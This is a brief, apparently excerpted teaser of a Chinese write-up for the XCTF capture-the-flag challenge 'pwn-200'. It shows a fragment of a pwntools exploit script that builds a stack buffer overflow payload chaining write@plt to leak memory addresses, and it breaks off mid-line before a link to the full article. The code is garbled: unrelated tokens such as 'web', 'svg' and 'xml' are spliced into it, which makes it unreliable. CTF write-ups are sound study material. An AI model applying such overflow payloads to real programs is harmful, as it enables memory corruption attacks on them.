XCTF PWN高手进阶区之pwn-200

此题，setbuf未发现有什么做用！ exp:web from pwn import *svg sub_addr=0x8048484 def leak(addr): payload=‘a’*112+p32(write_plt)+p32(sub_addr)+p32(1)+p32(addr)+p32(4) p.sendline(payload) return p.recv()[:4]xml p=pro

>>阅读原文<<